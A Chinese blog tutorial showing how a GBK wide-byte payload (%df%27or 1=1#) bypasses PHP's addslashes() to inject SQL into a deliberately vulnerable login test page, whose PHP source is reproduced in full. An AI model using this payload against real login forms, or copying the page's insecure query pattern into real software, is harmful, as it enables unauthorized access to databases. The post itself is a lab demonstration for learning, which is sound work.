mysql 绕过addslashes,SQL注入:Bypass addslashes()

本文介绍了如何在遇到PHP的addslashes()函数对SQL注入进行防护的情况下,利用GBK双字节注入进行实战绕过。通过创建测试页面并提交带有特殊GBK字符的POST数据,成功实现了SQL注入,展示了在安全函数面前的规避策略。
部署运行你感兴趣的模型镜像

上次研究了GBK双字节注入,这次就得想办法用于实战,我们知道在很多时候,代码会对我们的输入进行过滤或者转义,过滤的的话我们想办法绕过就行,而转义,就得另想办法了

addslashes()

这是PHP中的一个安全函数

addslashes() 函数在指定的预定义字符前添加反斜杠。

这些预定义字符是:

单引号 (‘)

双引号 (“)

反斜杠 (\)

NULL

语法

addslashes(string)

参数

描述

string

必需。规定要检查的字符串。

提示和注释

提示:该函数可用于为存储在数据库中的字符串以及数据库查询语句准备合适的字符串。

注释:默认情况下,PHP 指令 magic_quotes_gpc 为 on,对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。不要对已经被 magic_quotes_gpc 转义过的字符串使用 addslashes(),因为这样会导致双层转义。遇到这种情况时可以使用函数 get_magic_quotes_gpc() 进行检测。

这是来源于W3school中对于函数的解释

如上所说,会对用户输入的

单引号 (‘)

双引号 (“)

反斜杠 (\)

NULL

进行转义,而字符型注入的话单引号又是不可少的一部分,那我们怎么办呢?

记得上次的宽字节那篇Blog Paper中说过,addslashes()这个函数是不考虑当前字符集的,那么便可以产生GBK的双字节注入

写了一个test页面

test

Username :

Password  :

$dbuser ='root';

$dbpass ='';

$dbname ="";

$host = 'localhost';

@$con = mysql_connect($host,$dbuser,$dbpass);

if (!$con)

{

echo "Failed to connect to MySQL: " . mysql_error();

}

@mysql_select_db($dbname,$con) or die ( "Unable to connect to the database: $dbname");

if(isset($_POST['uname']) && isset($_POST['passwd']))

{

$uname = addslashes($_POST['uname']);

$passwd= addslashes($_POST['passwd']);

mysql_query("SET NAMES gbk");

@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

$result=mysql_query($sql);

$row = mysql_fetch_array($result);

if($row)

{

echo "login success";

echo "
";

echo 'name:'. $row['username'];

echo "
";

echo 'Password:' .$row['password'];

}

else

{

echo "Try again looser";

print_r(mysql_error());

}

}

?>

这是测试页面,如上是个POST的提交页面,可以提交POST数据,我们提交的是帐号密码,而账号和密码都是

$uname = addslashes($_POST['uname']);

$passwd= addslashes($_POST['passwd']);

被保护了起来,而构成的SQL查询语句是这样的:

@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

必须要输入单引号闭合前面的部分。我们看下测试页面

f5c852bbc80ac2a4acf8fd2d9ed5df21.png

单纯的提交Username和Password

我们构造,我们如果用

'or 1=1#

去试试看看

49e6756f6ff2aeb154fbe069882143eb.png

抓个包看看

520d31a83f0f3a6b5a34a8a3ea5407bd.png

可以看到,uname的参数值是经过URL编码的。%27就是我们输入的单引号,这样发送过去的话,会被解析,uname的参数值实际上就是

uname=%5C%27or+1%3D1%23

这样单引号就失去了闭合的效果

按照上次那个说的,那就尝试GBK双字节注入,但和GET不太一样,不太好在URL里面直接加%df,那就借助Burpsuite抓包改包

我们看下,依旧输入

'or 1=1#

2312b7daa90ac5d75c93faaf2aab0545.png

然后改变uname的参数值

uname=%df%27or+1%3D1%23

d2afb83bd9fed0bca1c310a1618e8c9a.png

提交后看看

5a2b93ef053927d7285f31c37a545157.png

注入成功了,就这么绕过了

赞过:

赞 正在加载……

您可能感兴趣的与本文相关的镜像

Stable-Diffusion-3.5

Stable-Diffusion-3.5

图片生成
Stable-Diffusion

Stable Diffusion 3.5 (SD 3.5) 是由 Stability AI 推出的新一代文本到图像生成模型,相比 3.0 版本,它提升了图像质量、运行速度和硬件效率

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符  | 博主筛选后可见
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值